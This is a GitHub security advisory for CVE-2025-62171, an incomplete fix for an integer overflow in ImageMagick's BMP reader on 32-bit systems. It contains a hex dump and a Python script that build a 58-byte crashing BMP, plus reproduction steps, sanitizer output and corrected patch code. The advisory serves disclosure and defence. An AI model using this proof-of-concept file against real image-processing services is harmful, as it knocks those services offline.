Skip to content

ImageMagick has Integer Overflow in BMP Decoder (ReadBMP)

Moderate severity GitHub Reviewed Published Oct 17, 2025 in ImageMagick/ImageMagick • Updated Oct 28, 2025

Package

nuget Magick.NET-Q16-AnyCPU (NuGet)

Affected versions

< 14.9.0

Patched versions

14.9.0
nuget Magick.NET-Q16-HDRI-AnyCPU (NuGet)
< 14.9.0
14.9.0
nuget Magick.NET-Q16-HDRI-x86 (NuGet)
< 14.9.0
14.9.0
nuget Magick.NET-Q16-x86 (NuGet)
< 14.9.0
14.9.0
nuget Magick.NET-Q8-AnyCPU (NuGet)
< 14.9.0
14.9.0
nuget Magick.NET-Q8-x86 (NuGet)
< 14.9.0
14.9.0

Description

Summary

CVE-2025-57803 claims to be patched in ImageMagick 7.1.2-2, but the fix is incomplete and ineffective. The latest version 7.1.2-5 remains vulnerable to the same integer overflow attack.

The patch added BMPOverflowCheck() but placed it after the overflow occurs, making it useless. A malicious 58-byte BMP file can trigger AddressSanitizer crashes and DoS.

Affected Versions:

  • ImageMagick < 7.1.2-2 (originally reported)
  • ImageMagick 7.1.2-2 through 7.1.2-5 (incomplete patch)

Platform and Configuration Requirements:

  • 32-bit systems ONLY (i386, i686, armv7l, etc.)
  • Requires size_t = 4 bytes. (64-bit systems are NOT vulnerable (size_t = 8 bytes))
  • Requires modified resource limits: The default width, height, and area limits must have been manually increased (Systems using default ImageMagick resource limits are NOT vulnerable).

Details(Root Cause Analysis)

Vulnerable Code Location

File: coders/bmp.c
Lines: 1120-1122 (in version 7.1.2-5)

The Incomplete Patch

// Line 1120: Integer overflow happens HERE
extent = image->columns * bmp_info.bits_per_pixel;  // OVERFLOW!

// Line 1121: Uses already-overflowed value
bytes_per_line = 4*((extent+31)/32);

// Line 1122: Checks the RESULT, not the multiplication
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Why the Patch Fails

Attack Vector (32-bit system):

Input BMP Header:
  Width: 536,870,912 (0x20000000)
  Height: 1
  Bits Per Pixel: 32

Calculation on 32-bit system:
  extent = 536,870,912 × 32
         = 17,179,869,184 (0x400000000)
         
  32-bit truncation:
  0x400000000 & 0xFFFFFFFF = 0x00000000  ← Overflow to ZERO!
  
  bytes_per_line = 4 × ((0 + 31) / 32)
                 = 4 × 0
                 = 0
  
  BMPOverflowCheck(0, 1):
    return (1 != 0) && (0 > 4294967295UL/1)
    return True && (0 > 4294967295)
    return True && False
    return False  ← Does NOT detect overflow!

The check fails because:

  1. The overflow happens at Line 1120 (extent calculation)
  2. extent becomes 0 due to 32-bit truncation
  3. bytes_per_line is calculated as 0 (Line 1121)
  4. BMPOverflowCheck(0, 1) returns False (no overflow detected)
  5. Code proceeds with corrupted values → ASan crash

PoC(Proof of Concept)

Minimal 58-byte BMP File

Hex dump:

00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

Key Fields:

  • Offset 0x12: Width = 00 00 00 20 = 0x20000000 (536,870,912)
  • Offset 0x16: Height = 01 00 00 00 = 1
  • Offset 0x1C: BPP = 20 00 = 32

Python Generator

#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP File Header (14 bytes)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # File size
file_header += struct.pack('<HH', 0, 0)   # Reserved
file_header += struct.pack('<I', 54)      # Pixel offset

# DIB Header (40 bytes)
dib_header = struct.pack('<I', 40)        # Header size
dib_header += struct.pack('<i', width)    # Width
dib_header += struct.pack('<i', height)   # Height
dib_header += struct.pack('<H', 1)        # Planes
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # Compression
dib_header += struct.pack('<I', 0)        # Image size
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # Colors
dib_header += struct.pack('<I', 0)        # Important colors

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)")

Reproduction Steps

Environment Setup

# Use 32-bit Docker container
docker run -it --name test-32bit i386/ubuntu:latest bash

# Install dependencies
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev

# Download ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5

Build with AddressSanitizer (32-bit IMPORTANT!)

# Configure for 32-bit build (CRITICAL - must be 32-bit!)
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

### Trigger the Vulnerability

```bash
# Set environment to bypass cache.c limits
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

# Test with malicious BMP (use Python script above to create it)
./utilities/magick identify overflow.bmp

AddressSanitizer Output

==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: 
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow
For details see https://github.com/google/sanitizers/issues/189

It operates in the following environments.

export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

Impact

Attack Scenario

  1. Attacker creates a 58-byte malicious BMP file
  2. Uploads to web service that uses ImageMagick (on 32-bit system)
  3. ImageMagick attempts to process the image
  4. Integer overflow triggers AddressSanitizer crash
  5. Service becomes unavailable (Denial of Service)

Real-world targets:

  • Web hosting platforms with image processing
  • CDN services with thumbnail generation
  • Legacy embedded systems
  • IoT devices running 32-bit Linux
  • Docker containers using 32-bit base images

Recommended Fix

Correct Patch

The overflow check must happen before the multiplication:

// Add overflow check BEFORE calculating extent
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// Now safe to calculate
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// Additional safety check
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

Alternative: Use 64-bit Arithmetic

// Force 64-bit calculation
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

Credits

wooseokdotkim
[email protected]

References

@dlemstra dlemstra published to ImageMagick/ImageMagick Oct 17, 2025
Published by the National Vulnerability Database Oct 17, 2025
Published to the GitHub Advisory Database Oct 28, 2025
Reviewed Oct 28, 2025
Last updated Oct 28, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Integer Overflow or Wraparound

The product performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control. Learn more on MITRE.

CVE ID

CVE-2025-62171

GHSA ID

GHSA-9pp9-cfwx-54rm

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.